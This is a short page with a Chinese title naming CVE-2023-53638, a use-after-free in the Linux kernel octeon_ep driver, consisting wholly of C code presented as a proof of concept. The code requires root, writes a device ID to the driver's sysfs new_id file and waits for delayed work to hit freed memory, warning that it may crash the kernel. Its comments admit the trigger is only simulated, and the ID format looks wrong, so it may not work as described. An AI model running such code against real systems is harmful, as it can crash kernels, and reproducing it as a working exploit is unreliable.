CVE-2023-53638：Linux内核octeon_ep驱动释放后使用漏洞

// PoC for CVE-2023-53638 - octeon_ep Use-After-Free // This PoC demonstrates the vulnerability trigger condition // Note: Requires root or CAP_NET_ADMIN to load/unload kernel modules #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <errno.h> // Simulate triggering octeon_ep probe failure // In a real scenario, this would involve manipulating hardware state // or using fault injection to cause MAC address retrieval to fail int trigger_probe_failure(void) { // Step 1: Attempt to bind octeon_ep device (requires hardware or VF) // In test environment, this requires actual octeon hardware or PCI passthrough int fd = open("/sys/bus/pci/drivers/octeon_ep/new_id", O_WRONLY); if (fd < 0) { perror("Failed to access octeon_ep driver"); return -1; } // Step 2: Write a device ID that will cause probe to fail at MAC address retrieval // The actual device ID depends on the specific Octeon hardware const char *dev_id = "177d:0093"; // Example Octeon device ID if (write(fd, dev_id, strlen(dev_id)) < 0) { perror("Failed to trigger probe"); close(fd); return -1; } close(fd); // Step 3: Wait for the delayed work to execute on freed memory // This will trigger the use-after-free printf("Waiting for delayed work to trigger UAF...\n"); sleep(5); return 0; } int main(int argc, char *argv[]) { printf("CVE-2023-53638 PoC - octeon_ep Use-After-Free\n"); printf("WARNING: This may crash the kernel!\n"); if (getuid() != 0) { fprintf(stderr, "This PoC requires root privileges\n"); return 1; } return trigger_probe_failure(); }